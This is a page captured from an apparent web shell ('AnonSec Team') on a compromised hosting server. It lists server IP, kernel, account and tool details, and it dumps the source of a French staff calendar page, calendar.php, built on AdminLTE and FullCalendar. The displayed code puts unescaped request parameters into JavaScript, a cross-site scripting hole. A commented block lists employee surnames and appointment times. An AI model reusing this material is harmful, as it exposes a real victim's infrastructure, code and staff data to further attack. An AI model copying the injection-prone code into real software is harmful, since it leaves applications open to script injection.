AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.180
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/TEST/../MC/temp/12650/../1322/../../../mcg/.github/../pages/code/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TEST/../MC/temp/12650/../1322/../../../mcg/.github/../pages/code/../calendar.php
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo date('Ymd');
$salarie_id = 2543;

if(isset($_GET['salarie_id']))
	$salarie_id = $_GET['salarie_id'];
if(isset($_POST['salarie_id']))
	$salarie_id = $_POST['salarie_id'];


 if(isset($_GET['date']))
 {
	 $year = $month =  $day = 0;
	list($year ,$month, $day) = split('[/.-]', $_GET['date'] );
	if( $year >= 1900 and $year <= (date('Y')+1) and $month >=1 and $month <=12  )
		$datecal = "$year-$month-01";
	else
		$datecal = date('Y-m-01');
 }
else
	$datecal = date('Y-m-01');
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>LogMCPRO | Prestations</title>
  <!-- Tell the browser to be responsive to screen width -->
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <!-- Font Awesome -->
  <link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
  <!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  
    <!-- Select2 -->
  <link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
  <link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
  <!-- fullCalendar -->
  <link rel="stylesheet" href="../plugins/fullcalendar/main.min.css">
  <link rel="stylesheet" href="../plugins/fullcalendar-daygrid/main.min.css">
  <link rel="stylesheet" href="../plugins/fullcalendar-timegrid/main.min.css">
  <link rel="stylesheet" href="../plugins/fullcalendar-bootstrap/main.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="../dist/css/adminlte.min.css">
  <!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- TOP MENU -->
  <nav class="main-header navbar navbar-expand navbar-white navbar-light">
 <!-- Menu extensible -->
    <ul class="navbar-nav">
      <li class="nav-item">
        <a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
      </li>
<!-- liens TOP MENU GAUCHE-->
      <li class="nav-item d-none d-sm-inline-block">
        <a href="index.php" class="nav-link">Accueil</a>
      </li>
      <li class="nav-item d-none d-sm-inline-block">
        <a href="#" class="nav-link">Lien 1</a>
      </li>
	   <li class="nav-item d-none d-sm-inline-block">
        <a href="#" class="nav-link">Lien 2</a>
      </li>
    </ul>

 <!-- liens TOP MENU DROITE -->
    <ul class="navbar-nav ml-auto">
     <!-- Placer ici l'élément à positionner à droite du TOP MENU -->
    </ul>
  
  </nav>  <!-- fin du TOP MENU -->

<?php include('menu.php'); ?>

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1>Planning</h1>
          </div>
          <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
              <li class="breadcrumb-item"><a href="#">Home</a></li>
              <li class="breadcrumb-item active">Calendar</li>
            </ol>
          </div>
        </div>
      </div><!-- /.container-fluid -->
    </section>


    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
        <div class="row">

          <!-- /.col -->
          <div class="col-md-12">
            <div class="card card-primary">
			    <div class="col-md-6">
					<div class="form-group ">
						<form  method='POST' action=''>
											<label>Salarier </label>
											<select class="form-control select2" style="width: 100%;" name="salarie_id" id="salarie_id">
												<?php $req =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ORDER BY `salarie`.`salarie_nom` ASC") ;
												while(  $sal=dbi_fetch_row($req)) { ?>
													<option value="<?php echo $sal['salarie_id'] ; ?>"  <?php if($sal['salarie_id'] == $salarie_id) echo "selected"; ?>><?php echo $sal['salarie_id'].' '.$sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
													<?php   }	?>
											</select>
											<input name="date" type ="hidden" value='<?php echo $datecal; ?>' /> 
						</form>					
					</div>
				</div>


				
				

		  
		  
              <div class="card-body p-0">
                <!-- THE CALENDAR -->
                <div id="calendar"></div>
              </div>
              <!-- /.card-body -->
            </div>
            <!-- /.card -->
          </div>
          <!-- /.col -->
        </div>
        <!-- /.row -->
      </div><!-- /.container-fluid -->
    </section>
    <!-- /.content -->
  </div>
  <!-- /.content-wrapper -->

  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.0.2
    </div>
    <strong>Copyright &copy; 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
    reserved.
  </footer>

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- jQuery UI -->
<script src="../plugins/jquery-ui/jquery-ui.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>

<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- fullCalendar 2.2.5 -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/fullcalendar/main.min.js"></script>
<script src="../plugins/fullcalendar-daygrid/main.min.js"></script>
<script src="../plugins/fullcalendar-timegrid/main.min.js"></script>
<script src="../plugins/fullcalendar-interaction/main.min.js"></script>
<script src="../plugins/fullcalendar-bootstrap/main.min.js"></script>
<script src='../plugins/fullcalendar/locales/fr.js'></script>

<!-- Page specific script -->
<script>
  $(document).ready(function() {
	  

	
	
	
	  var datecal = "<?php echo $datecal; ?>";
	  var salarie_id = "<?php echo $salarie_id; ?>";
	  // alert(datecal);
let calendarEl = document.getElementById('calendar');
    let calendar = new FullCalendar.Calendar(calendarEl, {
		locale: 'fr',
        plugins: [ 'bootstrap', 'interaction', 'dayGrid', 'timeGrid' ],
		firstDay: 1,
		defaultDate: datecal,
		showNonCurrentDates: false,
		fixedWeekCount: false,
		 header    : {
        left  : 'prev,next today',
        center: 'title',
        right : 'dayGridMonth,timeGridWeek,timeGridDay'
      },
	   // titleFormat: { // will produce something like "Tuesday, September 18, 2018"
    // month: 'long',
    // year: 'numeric',
    // day: 'numeric',
    // weekday: 'long'
  // },

	  events: 'splanning.php?date='+datecal+'&salarie_id='+salarie_id,
	  
	      selectable:true,
    selectHelper:true,
    editable:false,
	



	  
	    // events: [{"id":"99844","title":" BENSMAIN","start":"2020-07-02 10:00:00","end":"2020-07-02 11:00:00","date":"20200702"},{"id":"99305","title":" SILVA PINA","start":"2020-07-03 11:00:00","end":"2020-07-03 13:00:00","date":"20200703"},{"id":"136025","title":" THIAM","start":"2020-07-05 14:00:00","end":"2020-07-05 17:00:00","date":"20200705"},{"id":"99844","title":" BENSMAIN","start":"2020-07-09 10:00:00","end":"2020-07-09 11:00:00","date":"20200709"},{"id":"99305","title":" SILVA PINA","start":"2020-07-10 11:00:00","end":"2020-07-10 13:00:00","date":"20200710"},{"id":"136025","title":" THIAM","start":"2020-07-12 14:00:00","end":"2020-07-12 17:00:00","date":"20200712"},{"id":"99844","title":" BENSMAIN","start":"2020-07-16 10:00:00","end":"2020-07-16 11:00:00","date":"20200716"},{"id":"99305","title":" SILVA PINA","start":"2020-07-17 11:00:00","end":"2020-07-17 13:00:00","date":"20200717"},{"id":"136025","title":" THIAM","start":"2020-07-19 14:00:00","end":"2020-07-19 17:00:00","date":"20200719"},{"id":"99844","title":" BENSMAIN","start":"2020-07-23 10:00:00","end":"2020-07-23 11:00:00","date":"20200723"},{"id":"136025","title":" THIAM","start":"2020-07-26 14:00:00","end":"2020-07-26 17:00:00","date":"20200726"},{"id":"99844","title":" BENSMAIN","start":"2020-07-30 10:00:00","end":"2020-07-30 11:00:00","date":"20200730"}],
	 
	  
    });
	calendar.setOption('locale', 'fr');
	calendar.render();


// function GetCalendarDateRange() {
        // var calendar = $('#calendar').fullCalendar('getCalendar');
        // var view = calendar.view;
        // var start = view.start._d;
        // var end = view.end._d;
        // var dates = { start: start, end: end };
        // return dates;
    // }
$('.fc-prev-button').click(function(){
			var date = calendar.getDate().toLocaleDateString();
			var date1 = date.substr(6, 4)+ date.substr(3, 2);
			var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
			if(date1 != date2)
			{
				var datec = date.substr(6, 4)+ '-' +date.substr(3, 2)+ '-' +date.substr(0, 2);
				window.location.href = "calendar.php?date="+datec+'&salarie_id='+salarie_id;
			}
});			
$('.fc-today-button').click(function(){
			var date = calendar.getDate().toLocaleDateString();
			var date1 = date.substr(6, 4)+ date.substr(3, 2);
			var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
			if(date1 != date2)
			{
				var datec = date.substr(6, 4)+ '-' +date.substr(3, 2)+ '-' +date.substr(0, 2);
				window.location.href = "calendar.php?date="+datec+'&salarie_id='+salarie_id;
			}
});
$('.fc-next-button').click(function(){
			var date = calendar.getDate().toLocaleDateString();
			var date1 = date.substr(6, 4)+ date.substr(3, 2);
			var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
			if(date1 != date2)
			{
				var datec = date.substr(6, 4)+ '-' +date.substr(3, 2)+ '-' +date.substr(0, 2);
				window.location.href = "calendar.php?date="+datec+'&salarie_id='+salarie_id;
			}
});	

	  	$('#salarie_id').on('change',function(){
		// alert('OK');
		 $('form').submit();

    });
   });
				// window.location.href = "calendar.php?date="+datecal;
	// alert(date);
	  // var date = calendar.getDate();
	  // date = date.toISOString();
	  // date = date.substring(0, 10);
	  // date = date.substring(0, 7);
	  // var date1 = date.substr(0, 4)+ date.substr(5, 2);
	  // var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
	  // var date1 = date.substr(0, 4)+ date.substr(5, 6);
	  // var date2 = datecal.substr(0,4) + datecal.substr(4,4);
	  // date3 = datecal.toISOString();
	  // date3 = date3.substring(0, 7);
	  // date2 = date.substring(0, 08)+'31';
	  // alert(date1+' ** '+date2);

		
		// var date = calendar.getDate().toString();
		// date = date.toISOString();
	// var date1 = date.substr(0, 4)+ date.substr(5, 2);
		// alert(date);
	// var date = calendar.getDate();
	// alert(date);
	  // var date = calendar.getDate();
	  // date = date.toISOString();
	  // date = date.substring(0, 10);
	  // window.location.href = "calendar.php?date="+date;

// $('.fc-next-button').click(function(){
	
	// var date = calendar.getDate().toLocaleDateString();

	// date = date.toISOString();
	// var date1 = date.substr(0, 4)+ date.substr(5, 2);
		// alert(date);
	// alert(date1);
	// .fullCalendar('gotoDate', date.getFullYear(), date.getMonth(), date.getDate())
	// var calendar = $('#calendar').fullCalendar('getCalendar');
        // var view = calendar.view;
        // var start = view.start._d;
        // var end = view.end._d;
        // var dates = { start: start, end: end };
        // alert( date);
	 // alert( calendar.getCalendar();
	  // var date = calendar.getDate();
	  // date = date.toISOString();
	  // date = date.substring(0, 7);
	  
	  // var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
	  // alert(date1+' ** '+date2);
	  // var date1 = date.substr(0, 4)+ date.substr(5, 6);
	  // var date2 = datecal.substr(0,4) + datecal.substr(4,4);
	  // date3 = datecal.toISOString();
	  // date3 = date3.substring(0, 7);
	  // date2 = date.substring(0, 08)+'31';
	  
	  
	// var datecal = calendar.getDate();
	  // datecal = datecal.toISOString();
	  // datecal = datecal.substring(0, 10);
	
	
	// var salarie_id = "<?php echo $salarie_id; ?>";
	


	  
	  
	  

	
	
	
	
	  // var date = calendar.getDate();
	  // date = date.toISOString();
	  // date = date.substring(0, 10);
	  // window.location.href = "calendar.php?date="+date;
// });		  


	  


</script>
<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })

  })
</script>
</body>
</html>

AnonSec - 2021